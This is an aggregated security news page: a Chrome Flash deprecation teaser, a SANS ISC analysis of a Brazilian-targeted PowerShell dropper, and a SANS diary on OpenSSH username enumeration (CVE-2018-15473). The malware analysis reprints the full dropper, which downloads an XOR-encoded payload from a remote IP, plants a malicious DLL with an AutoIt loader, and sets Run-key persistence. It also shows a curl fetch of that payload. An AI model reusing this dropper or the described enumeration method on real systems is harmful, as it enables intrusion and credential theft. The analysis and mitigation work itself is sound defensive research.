Enlarge

Chrome 69, due to be released on September 4, is going to take the next step toward phasing out support for Adobe's Flash plugin.

Chrome started deprecating Flash in 2016, defaulting to HTML5 features and requiring Flash to be enabled on a per-site basis. Currently, that setting is sticky: if Flash is enabled for a site, it will continue to be enabled across sessions and restarts of the browser.

That changes in Chrome 69—Flash will have to be enabled for a site every time the browser is started. This means that Flash content will always need positive, explicit user permission to run, making the use of the plugin much more visible—and much more annoying.

Read 2 remaining paragraphs | Comments

 

Here is an interesting sample that I found while hunting. It started with the following URL:

hxxp://200[.]98[.]170[.]29/uiferuisdfj/W5UsPk.php?Q8T3=OQlLg3rUFVE740gn1T3LjoPCQKxAL1i6WoY34y2o73Ap3C80lvTr9FM5

The value of the parameter (‘OQlLg3rUFVE740gn1T3LjoPCQKxAL1i6WoY34y2o73Ap3C80lvTr9FM5’) is used as the key to decode the first stage. If you don’t specify it, you get garbage data:

If you slightly change the key (ex: remove the last character), you can see some part of the data properly decoded until the position of the removed character. The key is just used to XOR the original script. Here is a beautified version of the code:

 1: $strCaminhoArquivoLog = "$env:TEMP\$env:UserName$env:ComputerName.$env:Processor_Revision"
 2: $bExisteArquivoLog = [System.IO.File]::Exists($strCaminhoArquivoLog)
 3: function gera-strrand
 4: {
 5:     -join ((65..90) + (97..122) | Get-Random -Count $args[0] | % {[char]$_})
 6: }
 7: if (-Not $bExisteArquivoLog)
 8: {
 9:   "" | Set-Content $strCaminhoArquivoLog
10:   $strCaminhoPastaCaixa = gera-strrand 8
11:   $strCaminhoPastaCaixa = "$env:PUBLIC\$strCaminhoPastaCaixa\"
12:   New-Item -ItemType directory -Path $strCaminhoPastaCaixa
13:   $strCaminhoCaixaZipada = gera-strrand 8
14:   $strCaminhoCaixaZipada = "$strCaminhoPastaCaixa$strCaminhoCaixaZipada.zip"
15:   $strUrlCaixaZipada = "hxxp://200[.]98[.]170[.]29/uiferuisdfj/uj9o3fxnes.zip"
16:   (New-Object System.Net.WebClient).DownloadFile($strUrlCaixaZipada, $strCaminhoCaixaZipada)
17:   $objBytesCaixaZipada = [System.IO.File]::ReadAllBytes($strCaminhoCaixaZipada)
18:   for($i=0; $i -lt $objBytesCaixaZipada.count; $i++)
19:   {
20:     $objBytesCaixaZipada[$i] = $objBytesCaixaZipada[$i] -bxor 0x91
21:   }
22:   [System.IO.File]::WriteAllBytes($strCaminhoCaixaZipada,$objBytesCaixaZipada)
21:   $objArrayArqsZip = New-Object System.Collections.ArrayList
22:   $objShelApplication = New-Object -com shell.application
23:   $objArquivoZipado = $objShelApplication.NameSpace($strCaminhoCaixaZipada)
24:   foreach($item in $objArquivoZipado.items())
25:   {
26:     $objShelApplication.Namespace($strCaminhoPastaCaixa).copyhere($item)
27:     $objArrayArqsZip.Add($item.name)
28:   }
29:   $strNomeModuloDllKl = gera-strrand 7
30:   $strPathModuloDllKl = $strCaminhoPastaCaixa + $strNomeModuloDllKl + ".dll"
31:   $strNomeModuloExecutor = gera-strrand 5
32:   $strPathModuloExecutor = $strCaminhoPastaCaixa + $strNomeModuloExecutor + ".exe"
33:   $strNomeScriptAutoIt = gera-strrand 8
34:   $strPathScriptAutoIt = $strCaminhoPastaCaixa + $strNomeScriptAutoIt
35:   foreach ($element in $objArrayArqsZip)
36:   {
37:     $intTamArquivo = (Get-Item "$strCaminhoPastaCaixa$element").Length
38:     if ($intTamArquivo -lt 2000)
39:     {
40:       Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strPathScriptAutoIt
41:     }
42:     elseif ($intTamArquivo -lt 1000000)
43:     {
44:       Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strPathModuloExecutor
45:     }
46:     else
47:     {
48:       Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strPathModuloDllKl
49:     }
50:   }
51:   $RegistroKey = gera-strrand 9
52:   $RegistroRun = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
53:   Set-ItemProperty $RegistroRun "$RegistroKey" ("`"$strPathModuloExecutor`” `"$strPathScriptAutoIt`"`"$strCaminhoPastaCaixa$strNomeModuloDllKl`"")
54:   Restart-Computer -F
55: } 

Let's have a look at the script. 

A function gera-strrand() is created to generate random strings (lines 3-6)

The script verifies that it has not already infected the victim's computer by creating an empty file (line 1, 7-9). The command Set-Content acts like the ‘touch’ UNIX command in this case.

A temporary random directory is created (line 10-12)

The second stage is downloaded  (line 14-16) and stored in the newly created directory then XOR’d with key 0x91 (line 17-22).

So, let’s download and decrypt and see what’s in the ZIP archive (SHA256:c2e7fa6a07045c0ded3ba5908ebd3a80f4176d2a2bf3d4654399d5bb3b2a0572):

$ curl -s hxxp://200[.]98[.]170[.]29//uiferuisdfj/uj9o3fxnes.zip | ./xor.py
['q3w6vnrelzb2r0jay', 'JthRqcc3zk', 'bGOELsXU0h']

Tip: I wrote the xor.py to decode and list the zip file content:

#!/usr/bin/python3
import sys
import zipfile
import io
def xor(data):
    return bytearray((
        (data[i] ^ 0x91) for i in range(0,len(data))
    ))
d = sys.stdin.buffer.read()
zf = zipfile.ZipFile(io.BytesIO(xor(d)))
print(zf.namelist())

Here are the files details:

q3w6vnrelzb2r0jay PE32 executable (DLL) (GUI) Intel 80386, for MS Windows 638848854dd2025263b0b4a8f9ddfec181aa901951cacf82355f78d9ebe63635
JthRqcc3zk PE32 executable (GUI) Intel 80386, for MS Windows 8498900e57a490404e7ec4d8159bee29aed5852ae88bd484141780eaadb727bb
bGOELsXU0h data bc86212824332018fd859cfbbb5e6a19d8ad686cc8bffd0f232021c9c6ca79d4

Files are renamed with specific names. The technique used to rename files is to check their size because original filenames are probably randomly generated (line 29-50).

Finally, a registry key is created for persistence in HKCU:\Software\Microsoft\Windows\CurrentVersion\Run (line 51-53). The executed command has the following format:

AutoIT.exe AutoITscript MaliciousDLL

The PE32 file is indeed the legitimate AutoIT.exe launcher tool[1] that calls the script. It loads the malicious DLL. The script is protected (in .a3x format). It can be easily decrypted with a modified version of the myAuth2exe tool[2]. Here is the code:

#NoTrayIcon
GLOBAL $MLOBBXOJ2=$CMDLINE[1]
GLOBAL $GTBP0WCI6JTPSMLAX16G=DLLOPEN($MLOBBXOJ2&".dll")
DLLCALL($GTBP0WCI6JTPSMLAX16G,"none","eKRZWJNbVUojH3qoQF3qjX”)

The script just loads the provided DLL file and invoke the exported function ‘eKRZWJNbVUojH3qoQF3qjX’. Here is the list of exports:

default viper q3w6vnrelzb2r0jay > pe exports
[*] Exports:
 - 0x45a90c: 'TMethodImplementationIntercept' (3)
 - 0x4109e8: '__dbk_fcall_wrapper' (2)
 - 0x644634: 'dbkFCallWrapperAddr' (1)
 - 0x6277e0: 'eKRZWJNbVUojH3qoQF3qjX' (4)

The DLL was unknown on VT when I started to analyze this sample but it has now a score of 12/65 [3]. It's a Trojan that has many features:

The fact to use the AutoIT tool is a nice way to bypass many controls because the file is safe and signed. Often, tools like AppLocker allow the execution if properly signed executables.

Note that the dropper is not very stealthy because it simply reboots the computer once the persistence achieved (line 54)!

[1] https://www.autoitscript.com/site/autoit/
[2] https://github.com/dzzie/myaut_contrib
[3] https://www.virustotal.com/#/file/638848854dd2025263b0b4a8f9ddfec181aa901951cacf82355f78d9ebe63635/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
 
RETIRED: SAP Identity Management CVE-2018-2416 XML External Entity Injection Vulnerability
 
Microsoft Internet Explorer CVE-2018-8373 Remote Memory Corruption Vulnerability
 
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
 

A GitHub commit was the start of the disclosure of a vulnerability in OpenSSH (%%CVE:2018-15473%%) that leads to username disclosure.

It's not that a special command or packet will dump all the usernames. Rather, a specially crafted authentication packet must be send with the username to test, and from the reply/lack of reply you'll know if that username exists or not on said server.

After establishing an encrypted connection, a client can send a SSH2_MSG_USERAUTH_REQUEST (type publickey) message to an OpenSSH server with a malformed packet. The malformation is a string that is larger than the message, for example. When the userauth_pubkey function processes this message, it will first check if the username exists. If it does not, it returns value 0 immediately. Otherwise, the key provided in the message is checked, and a positive test leads to authentication (return value 1), otherwise the return value will be 0.

The functions that act on message SSH2_MSG_USERAUTH_REQUEST and call the appropriate authentication functions (like userauth_pubkey), will eventually send back a message to the client: authenticated (SSH2_MSG_USERAUTH_SUCCESS) or not (SSH2_MSG_USERAUTH_FAILURE).

But function userauth_pubkey can be forced into doing something else than returning 0 or 1: it can be forced to trigger a call to function fatal. This function generates a fatal alert event that is logged, and then it terminates the OpenSSH process without sending anything back to the client. This behavior can be triggered by sending a SSH2_MSG_USERAUTH_REQUEST (type publickey) message with a string that "claims" to be larger than the message itself, for example (strings encoded in messages are composed of 2 elements: a 4-byte, big-endian integer, encoding the length of the string, and a variable-length array of bytes, with the content of the string).

This is exactly what PoC Python program ssh-check-username.py does: it sends a SSH2_MSG_USERAUTH_REQUEST (type publickey) message with a username plus an algorithm string that is not properly encoded. If the username does not exist, SSH2_MSG_USERAUTH_FAILURE is send back to the client. If the username exists, the message is parsed further before the public key verification occurs. This parsing uncovers a malformed string, and the program decides to abort without sending back any message. This is how the PoC Python can check the existence of a username: if it receives SSH2_MSG_USERAUTH_FAILURE, the username does not exist, and if it receives no message and the connection is closed, then the username exists.

This vulnerability exists in the public key authentication function, but also in the host authentication and gss authentication functions. Fixing this consists essentially in reversing the actions performed by these functions: first do a full parsing of the message, then check for the existence of a username.

You can mitigate these vulnerabilities before patches have been released and applied, by disabling the vulnerable authentication methods, like public key authentication. But please do this only if you don't use public key authentication. If you do, then continue to use it, don't disable it! It is, after all, "just" an information disclosure vulnerability that can confirm the existance of a username.

It's also possible to monitor your authentication logs for exploitation of this vulnerability. A fatal event will be logged, with a message like "ssh_packet_get_string: incomplete message". This message can vary according to your OpenSSH version (this example message is taken from a Ubuntu machine) and according to the exploit used. This example message is generated when the Python PoC exploit is used.

The message does not contain any identifier of the attacker. If you want IP addresses, you can increase your LogLevel from INFO to VERBOSE, but be aware that it will increase the amount of events and that you need the capacity to handle the increase in events.

If you are interested, I have a PCAP file. The first stream is a successful username check, the second stream a failed one.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
 
Internet Storm Center Infocon Status